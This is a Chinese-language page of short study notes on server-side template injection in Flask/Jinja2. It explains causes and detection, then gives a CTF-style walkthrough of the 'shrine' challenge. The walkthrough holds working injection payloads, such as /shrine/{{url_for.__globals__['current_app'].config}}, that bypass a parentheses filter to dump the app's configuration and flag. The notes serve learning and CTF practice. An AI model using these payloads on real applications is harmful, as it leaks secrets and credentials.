当前位置: 首页 > news >正文

SSTI

SSTI-原理&分类&检测&分析&利用
参考SSTI模板注入(Python+Jinja2)总结

1、什么是ssTI?有什么漏洞危害?
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShel1等问题。其影响范围主要取决于模版引擎的复杂性。

2、如何判断检测ssTI漏洞的存在?
-输入的数据会被浏览器利用当前脚本语言调用解析执行

image
image

3、ssTI安全问题在生产环境那里产生?
-存在模版引用的地方,如404错误页面展示
-存在数据接收引用的地方,如模版解析获取参数数据

案例:
先访问判断存在注入
访问/shrine/{{2-2}},返回0,存在ssti注入
(看import的,有个flask,这个有ssti注入;看有没有模板解析函数,return那行正好有个template)
*有过滤括号
所以可以使用python flask支持的不用括号的全局变量函数:
url_for.__globals__
输入就是/shrine/{{url_for.__globals__}}
用这个可以找到flag/shrine/{{url_for.__globals__['current_app'].config}}
get_flashed_message()获取传递过来的数据,也可以用
/shrine/{{get_flashed_messages.__globals__}}
/shrine/{{get_flashed_messages.__globals__ ['current_ app'].config}}

image

http://www.jsqmd.com/news/1012015/

相关文章:

  • 深入解析MPC8313E安全引擎:通道、控制器与中断协同机制
  • 日照优质婚宴酒店推荐,备婚新人避坑指南 - GrowthUME
  • 网盘直链下载助手:跨平台下载解决方案的技术实现与应用实践
  • AI全面入侵后,游戏产业“慌”了
  • MPC8313E DDR内存控制器配置实战:从原理到调试
  • 每次对话都要重新交代背景?Hermes 记忆系统让你告别重复,智能体比你还懂你的项目
  • 3分钟让你的BT下载速度翻倍:trackerslist项目完全指南
  • 深度解析大疆无人机固件:专业逆向工程完整实战指南
  • 抖音批量下载终极指南:免费无水印视频下载全攻略
  • 中小企业获客成本高?问题可能出在内容缺乏战略 - GrowthUME
  • 颠覆传统!3个让你效率翻倍的视频速度控制秘籍
  • 从JADX到Apktool:一次完整的Android应用逆向工程实战解析
  • 大模型安全与对抗攻击:从 Prompt 注入到越狱防御的攻防实践
  • SPT-AKI存档编辑器:3步掌握《逃离塔科夫》单机版的完全控制权
  • MPC8323E ATM控制器深度解析:AAL0/AAL5协议、UPC流量监管与驱动优化实战
  • 2026年6月哈尔滨口碑好的接送孩子保姆品牌选择全指南 - 奔跑123
  • USB 2.0 EHCI同步分裂事务调度机制与状态机深度解析
  • Forza Mods AIO:如何零成本获得《极限竞速》的完整掌控权?
  • 别再纠结RAID5和RAID6了!用4块硬盘实测,告诉你家用NAS和公司服务器到底怎么选
  • Win10BloatRemover:让Windows 10重获新生的终极清理工具
  • ArcGIS Pro实战:用地规划中如何用擦除、相交、裁剪搞定生态红线分析
  • 以太网MAC-PHY接口技术详解:从GMII、RGMII到TBI/RTBI的设计与实战
  • MPC8309 eLBC时序配置实战:GPCM与FCM模式详解
  • WeChatMsg:永久保存微信聊天记录的终极免费解决方案
  • LyricsX:Mac桌面歌词显示的终极免费解决方案
  • 纸制品外贸网站如何提高海外客户转化率? - 外贸营销驿站
  • MPC8540 L2缓存与性能监控实战:嵌入式系统性能调优利器
  • Python之scipion-em-tomo3d包语法、参数和实际应用案例
  • 别再死记硬背RAID了!用真实场景告诉你:NAS、游戏盘、剪辑机到底该选RAID 0、1还是10?
  • 终极流程图自动化神器:3步掌握flowchart.js专业绘制技巧